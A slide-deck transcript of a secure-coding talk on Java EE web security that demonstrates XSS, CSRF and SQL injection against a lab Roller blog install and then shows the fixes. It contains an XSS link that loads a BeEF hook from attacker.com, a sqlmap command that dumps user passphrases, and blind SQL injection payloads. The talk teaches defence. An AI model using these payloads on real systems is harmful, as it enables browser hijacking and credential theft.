YOU ARE DOWNLOADING DOCUMENT

Please tick the box to continue:

Transcript
Page 1: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example

JAX 2012

Page 2: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 2

About

•  Frank Kim – Consultant, ThinkSec – Author, SANS Secure Coding in Java/JEE – SANS Application Security Curriculum Lead

Page 3: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 3

What You Should Know

• Hacking is not hard • Don’t trust any data

– Assume that your users are evil!

Page 4: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 4

Outline

•  Web App Attack Refresher – XSS, CSRF, SQL Injection

•  Testing – Hacking an open source app

•  Secure Coding – Fixing security bugs

Page 5: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 5

Cross-Site Scripting (XSS)

• Occurs when unvalidated data is displayed back to the browser

• Types of XSS – Stored – Reflected – Document Object Model (DOM) based

Page 6: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 6

Cross-Site Request Forgery (CSRF)

Page 7: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 7

SQL Injection (SQLi)

•  Occurs when dynamic SQL queries are used – By injecting arbitrary SQL commands, attackers

can extend the meaning of the original query – Can potentially execute any SQL statement on

the database

•  Very powerful – #1 on CWE/SANS Top 25 Most Dangerous

Software Errors – #1 on OWASP Top 10

Page 8: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 8

Outline

•  Web App Attack Refresher – XSS, CSRF, SQL Injection

•  Testing – Hacking an open source app

•  Secure Coding – Fixing security bugs

Page 9: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 9

What are We Testing?

•  Installation of Roller 3.0 •  Fake install of SANS AppSec Street Fighter Blog •  Want to simulate the actions that a real attacker

might take –  There are definitely other avenues of attack –  We're walking through one attack scenario

Page 10: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 10

Attack Scenario

1)  XSS to control the victim's browser 2)  Combine XSS and CSRF to conduct a

privilege escalation attack - Use escalated privileges to access another feature

3)  Use SQL Injection to access the database directly

Page 11: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 11

Spot the Vuln - XSS

Page 12: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 12

XSS in head.jsp

Page 13: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 13

Testing the "look" Param

•  Admin pages include head.jsp •  The param is persistent for the session

Page 14: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 14

XSS Exploitation

•  Introducing BeEF – Browser Exploitation Framework – http://www.bindshell.net/tools/beef

•  Uses XSS to hook the victim's browser – Log user keystrokes, view browsing history,

execute JavaScript, etc – Advanced attacks - Metasploit integration,

browser exploits, etc

Page 15: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 15

XSS Exploitation Overview

Attacker Victim

1) Sends link with evil BeEF script

http://localhost:8080/roller/roller-ui/yourWebsites.do?look="><script src="http://www.attacker.com/beef/hook/beefmagic.js.php"></script>

2) Victim clicks evil link

3) Victim's browser sends data to attacker

Page 16: Java EE Web Security By Example: Frank Kim

BeEF XSS Demo

Page 17: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 17

Spot the Vuln - CSRF

Page 18: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 18

CSRF in UserAdmin.jsp

Want to use CSRF to change

this field

Page 19: Java EE Web Security By Example: Frank Kim

CSRF Demo

Page 20: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 20

Spot the Vuln – SQL Injection

Page 21: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 21

SQL Injection in UserServlet

Page 22: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 22

SQL Injection Testing

• UserServlet is vulnerable to SQLi http://localhost:8080/roller/roller-ui/authoring/user

No results

Page 23: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 23

Exploiting SQL Injection

•  Introducing sqlmap –  http://sqlmap.sourceforge.net

•  Tool that automates detection and exploitation of SQL Injection vulns –  Supports MySQL, Oracle, PostgreSQL, MS SQL Server –  Supports blind, inband, and batch queries –  Fingerprint/enumeration - dump db schemas, tables/

column names, data, db users, etc –  Takeover features - read/upload files, exec arbitrary

commands, exec Metasploit shellcode, etc

Page 24: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 24

sqlmap Syntax

� Dump userids and passwords python sqlmap.py -u "http://localhost:8080/roller/roller-ui/

authoring/user?startsWith=f%25" --cookie "username=test; JSESSIONID==<INSERT HERE>" --drop-set-cookie -p startsWith --dump -T rolleruser -C username,passphrase -v 2

Page 25: Java EE Web Security By Example: Frank Kim

SQL Injection Demo

Page 26: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 26

How it Works

f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 103 AND 'neEy' LIKE 'neEy

f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS

CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 104 AND 'neEy' LIKE 'neEy

f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 105 AND 'neEy' LIKE 'neEy

Page 27: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 27

Step By Step [0]

SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1;

returns ilovethetajmahal

Page 28: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 28

Step By Step [1]

select MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1);

returns i select MID((SELECT IFNULL(CAST(passphrase AS

CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 2, 1);

returns l select MID((SELECT IFNULL(CAST(passphrase AS

CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 3, 1);

returns o

Page 29: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 29

Step By Step [2]

select ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1));

returns 105 select ORD(MID((SELECT IFNULL(CAST(passphrase AS

CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 2, 1));

returns 108 select ORD(MID((SELECT IFNULL(CAST(passphrase AS

CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 3, 1));

returns 111

Page 30: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 30

Attack Summary

1)  XSS to control the victim's browser 2)  Combine XSS and CSRF to conduct a

privilege escalation attack - Use escalated privileges to access another feature

3)  Use SQL Injection to access the database directly

Page 31: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 31

Outline

•  Web App Attack Refresher – XSS, CSRF, SQL Injection

•  Testing – Hacking an open source app

•  Secure Coding – Fixing security bugs

Page 32: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 32

Application

Should I be consuming this?

Should I be emitting this?

Data Validation

Inbound Data

Outbound Data

Data Store

Validation

Encoding

Encoding

Validation

Outbound Data

Inbound Data

Validation

Page 33: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 33

Output Encoding

•  Encoding –  Convert characters so they are treated as data

and not special characters

•  Must escape differently depending where data is displayed on the page

•  XSS Prevention Cheat Sheet http://www.owasp.org/index.php/

XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Page 34: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 34

Fix XSS in head.jsp

• Add URL encoding <link rel="stylesheet" type="text/css"

media="all" href="<%= request.getContextPath() %>/roller-ui/theme/<%= ESAPI.encoder().encodeForURL(theme) %>/colors.css" />

Page 35: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 35

Fix CSRF in Update User Functionality

• UserAdmin.jsp – Add anti-CSRF token

<input type="hidden" name=<%= CSRFTokenUtil.SESSION_ATTR_KEY %> value=<%= CSRFTokenUtil.getToken(request.getSession(false)) %> >

• UserAdminAction.java – Check anti-CSRF token

if (!CSRFTokenUtil.isValid(req.getSession(false), req)){

return mapping.findForward("error");

}

Page 36: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 36

Fix SQL Injection in UserServlet.java

• Use parameterized queries correctly if (startsWith == null || startsWith.equals("")) {

query = "SELECT username, emailaddress FROM rolleruser";

stmt = con.prepareStatement(query); } else {

query = "SELECT username, emailaddress FROM rolleruser WHERE username like ? or emailaddress like ?";

stmt = con.prepareStatement(query); stmt.setString(1, startsWith + "%"); stmt.setString(2, startsWith + "%"); }

rs = stmt.executeQuery();

Page 37: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 37

Building Secure Software

Source: Microsoft SDL

Page 38: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 38

Remember

• Hacking is not hard • Don’t trust any data

–  Validate input –  Encode output –  Use CSRF tokens –  Use parameterized queries

Page 39: Java EE Web Security By Example: Frank Kim
Page 40: Java EE Web Security By Example: Frank Kim

Java EE Web Security By Example 40

Thanks!

Frank Kim [email protected] @sansappsec


Related Documents